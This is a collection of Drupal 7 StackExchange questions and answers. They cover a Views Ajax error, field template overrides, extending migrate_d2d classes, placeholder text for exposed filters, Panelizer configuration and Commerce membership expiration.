I tried flushing the Drupal cache, turning off Views caching, turning on Views debugging, all to no avail (nothing is written out to the log in the error situation). There's nothing written to dblog when the error happens.

I tried adding a (Global: Text area) message to be shown for No Results Behavior under Advanced for the view, but that didn't change anything, and I don't see the message.

Out of curiosity, I added hook\_views\_pre\_render, and I see the appropriate row count in the results for non-zero result sets, as expected. However, I see hook\_views\_pre\_render being hit with zero results for the error cases, but there is another pass through the hook with results!

Furthermore, for the error cases, hook\_views\_post\_execute is hit with results = 0, 1 row, and N rows, where N is the same number of results seen for the spurious result set for hook\_views\_pre\_render for the same error case. For non-error cases, both hooks are only hit once with the correct number of results.

Anyone have any ideas about this?

Thanks! Lee

\[Edit: I'm running Drupal 7.36 and Views 7.x-3.10\]

\[Edit 2: I applied the custom filter to a new, simpler view display - a page display, this time - and hardcoded a contextual filter and a matching taxonomy term in the custom filter code. It turns out I was wrong about the error condition - there's actually one row being returned in the case that is showing up with an Ajax error for the original view block display. Furthermore, I can run this page display with or without Ajax and not have a problem. Lastly, for the 1-row case, I do see the 2 views hooks being called 2x each - once with 0 results, and once with 1 result for each hook.\]

# Answer
> 1 votes
See my third Edit to the OP. The problem has magically been resolved by using a clone of the original block display. I don't know why this is the case, but that did the trick.

---
Tags: 7, ajax, views
---


# Question
Title: How can I strip out default markup for a text field?
I have created text fields for first name and last name (which i need as separate fields so i can sort by last name when needed) but the default markup is so cumbersome! they each are nested in 3 divs, and all I want to do is display as a typical manner, ie. Firstname Lastname

How can I strip out the default markup for these 2 fields only? creating a field override template doesn't seem like a good idea, or is it?

# Answer
Several ways to skin this cat. You can use a custom tpl.php as suggested, or, you can also explore some contrib modules such as display suite or fences.
> 2 votes

# Answer
Yes that's the best idea--that is exactly what template overrides are for. Figure out a tight override for it. Something like `field--first-name.tpl.php`. In there keep just the mark up you want. Probably something like:

`<div class='firstname'><?php echo $variables['first-name']; ?></div>`

https://api.drupal.org/api/drupal/modules!field!theme!field.tpl.php/7
> 1 votes

---
Tags: entities, theming
---


# Question
Title: How to declare class that extends Drupal d2d Migrate class
I am trying to follow the guidance from https://www.drupal.org/node/1819738 "Extending migrate\_d2d classes". I am using the Migrate d2d UI. It brings back the nodes I want to migrate, but there are a couple of fields I need to add. Essentially I want to extend the DrupalNode6Migration class to add these fields to the source query used by the UI.

I created this class (which appears to be exactly like the example given in the d2d document above):

```
<?php
class CadeMigrateFields extends DrupalNode6Migration {

  public function __construct(array $arguments) {
    parent::__construct($arguments);
  }

  protected function query() {
    // Get the default query
    $query = parent::query();

    // Get OG stuff as per: https://www.drupal.org/node/2033293#comment-9371471

    $query->leftJoin('og_ancestry','oga','n.nid = oga.nid');
    $query->addExpression('GROUP_CONCAT(DISTINCT og.group_nid)', 'og_group_ref');

    $query->addField('oga', 'group_nid', 'gid');
    $query->addField('oga', 'is_public', 'is_public');

    return $query;
  }
}
?>

```

This is supposed to include the additinal fields I want in the parent query. I added the path to this file to my module.info file:

```
; Migrate from 6.x to 7.x
files[] = cade_fields.migrate.inc

```

My question is: How do I declare it in the Migrate api so that Migrate sees it and executes it correctly?

If I don't add it anywhere in the api, Migrate doesn't see it. It is ignored and doesn't work.

If I code it as a migration,

```
   $migrations = array();

   $migrations['CadeFields'] = array(
        'class_name' => 'CadeMigrateFields',
   );

  $api = array(
    'api' => 2,
    'migrations' => $migrations,
   );

  return $api;

```

I get errors saying that several arguments (source type, description, destination type, etct) are missing. And it still doesn't work. This missing information should be provided by the arguments passed to the parent query (created by DrupalNode6Migration) by the UI, whose query I am simply trying to extend, not override.

So, how do I declare this type of class so that:

1. Migrate (d2d) sees it?
2. Migrate passes the arguments from the parent class (created by UI) it is extending to it?
3. It extends the parent class query to include the desired fields?

Thanks so much for any assistance!

# Answer
> 2 votes
Change your code like and try

```
 $migrations['CadeFields'] = array(
  'class_name' => 'CadeMigrateFields',
  'description' => t('Give your description abt this migration'),
  'source_type' => 'GIVE THE DRUPAL 6 NODE TYPE YOU ARE MIGRATING',
  'destination_type' => 'GIVE THE DRUPAL 7 NODE TYPE',
 );

```

# Answer
> 0 votes
I answered my own question here: https://www.drupal.org/node/2471863#comment-9840131

What I wanted:

I run migrate d2d ui and save settings. I go to dashboard, click on group, get a list migration tasks. I click on a listed node task, then click on "Source" for that node migration. I see a query.

I need two fields added to this query. So, I figure I can use "Extending migrate\_d2d classes" code to "extend" this query so that the next time I run this migration, go to the dashboard, locate the same node task and look at it's source, the two fields I need will be included in the query and available to map.

To me, and I suspect to others, that is what "Extending migrate d2d classes" means.

The way it works:

You have to create a new migration class. Just follow existing documentation on how this is done. If you want to use, for example, the node query from the DrupalNode6Migration class, then you create the class with

```
<?php
 class MyNewClass extends DrupalNode6Migration class
?>

```

Then, you insert into your MyNewClass:

```
<?php
  protected function query() {
    // Get the default query
    $query = parent::query();
    ...
   }
?>

```

Now, you can "extend" this query to be used in your new Migration class, which now should also appear in the Migration dashboard -- but in a different migration group from that created by the migrate\_d2d ui.

It would be nice if there was a way to pass the arguments dynamically generated in the migrate\_d2d ui and pop them into our "extending" class. Then we'd really be "extending" as opposed to re-creating.

But, that's a question for another day.

---
Tags: migrations
---


# Question
Title: Use form_alter to add placeholder text to a Views Exposed Filter min/max field
I have an exposed "List Price" field in a View using the "in between" operator (so that users can search for content between this price and that price), and I need to add the text "Min Price" and "Max Price" as placeholder text for the Min and Max fields. I had success using the custom module below to add placeholder text to other exposed fields using the "is equal to" operator, but I have had no luck using the same module code to affect the min/max fields. Here is my working module code:

```
<?php
function bootstrap_primary_form_alter(&$form, &$form_state, $form_id) {
  if($form_id == "views_exposed_form") {
    if (isset($form['field_productname_value'])) {
            $form['field_productname_value']['#attributes'] = array('placeholder' => array(t('Product Name')));
    }
  }
 }
?>

```

and here is the code that does NOT work for the "min" portion of the price field:

```
<?php
function bootstrap_primary_form_alter(&$form, &$form_state, $form_id) {
  if($form_id == "views_exposed_form") {
    if (isset($form['field_listprice_value[min]'])) {
            $form['field_listprice_value[min]']['#attributes'] = array('placeholder' => array(t('Min Price')));
    }
  }
 }
?>

```

Can someone please guide me on what I am doing wrong and how I can make it work? Could it possibly me the "\[min\]" portion of the module code that is tripping things up?

In case it helps, here is the full code for the List Price field:

```
<div class="views-exposed-widget views-widget-filter-field_listprice_value" id="edit-field-listprice-value-wrapper">
                  <label for="edit-field-listprice-value">
            List Price          </label>
                        <div class="views-widget">
          <div class="form-type-textfield form-item-field-listprice-value-min form-item form-group">
  <input type="text" maxlength="128" size="30" value="" name="field_listprice_value[min]" id="edit-field-listprice-value-min" class="form-control form-text">
</div>
<div class="form-type-textfield form-item-field-listprice-value-max form-item form-group">
  <label for="edit-field-listprice-value-max">And </label>
 <input type="text" maxlength="128" size="30" value="" name="field_listprice_value[max]" id="edit-field-listprice-value-max" class="form-control form-text">
</div>
        </div>
              </div>

```

...and here is the full code for the field that the module worked on:

```
<div class="views-exposed-widget views-widget-filter-field_productname_value" id="edit-field-productname-value-wrapper">
                  <label for="edit-field-productname-value">
            Product Name          </label>
                        <div class="views-widget">
          <div class="form-type-textfield form-item-field-productname-value form-item form-group">
 <input type="text" maxlength="128" size="30" value="" name="field_productname_value" id="edit-field-productname-value" class="form-control form-text" placeholder="Product Name">
</div>
        </div>

```

Thanks!

# Answer
> 3 votes
Found the solution!!! (here: https://www.drupal.org/node/2280069#comment-8844805)

```
  if (isset($form['field_listprice_value']['min'])) {
    $form['field_listprice_value']['min']['#attributes'] = array('placeholder' => array(t('Min Price')));
  }
  if (isset($form['field_listprice_value']['max'])) {
    $form['field_listprice_value']['max']['#attributes'] = array('placeholder' => array(t('Max Price')));
  }

```

---
Tags: 7, views, forms
---


# Question
Title: How to get Panelizer to only affect a specific node
I have Panelizer installed on my Drupal 7 site. I would like to use Panelizer for only specific nodes and not have it apply on all my nodes (as it currently is). Reading the documentation it seems it is possible to do this but I can't get it to work.

In Admin-\>Structure-\>Pages I have the node\_view enabled, and I see an entry for my particular node there as well (page-videos\_view with the correct url path). If I disable the node\_view, then Panelizer is effectively disabled as it doesn't apply any panels even though the view I want is still active.

I assume I am missing a setting somewhere but don't know what it is. Can anyone help out?

# Answer
I have figured out my error. You need to go to Admin-\>Configuration-\>Content Authoring-\>Panelizer and make sure you don't have the Provide Default Panel option selected for the content type you are using Panelizer on.
> 0 votes

---
Tags: 7, panels
---


title: drupal commerce membership expiration

text:
# Question
Title: drupal commerce membership expiration
I used this tutorial for creating a membership with Drupal Commerce which works well.

How I can set membership expiration?

I know I should use Rules, but I do not know how.

# Answer
> 1 votes
If your "membership" is already implemented as a role, you could use the Commerce License module (the Commerce License Role submodule). In the UI, licenses can be assigned to have default lengths that will automatically be set upon purchase; if you need to change lengths, you can also configure rules to do so.

# Answer
> 0 votes
I have been working on this too. What I did was add a field to the user object (config\>\>accounts\>\>managefields). The field I added was a date field, and I called it premium\_until. You will also want to make sure that the user cant change this field. I used the field permissions module to accomplish this.

Then I made a rule to add a month to that field whenever a user bought a 1monthsubscription product.

Then I made 2 rules to run at login. If the current date is before that date and the user is not premium, then make them premium .... and conversly, if the current date is after that date and the user is premium, then take premium away.

Let me know if you want more details and I can dig up the exact rules I used.

# Answer
> 0 votes
You can use the Membership Entity modules which handle this automatically.

They create a separate entity for the Membership so it can be managed distinctly from the User. Expiration is handled automatically. The modules also handle renewals and grace periods, and are integrated with Commerce so if you are selling your membership a Product Type is automatically created.

---
Tags: commerce, rules
---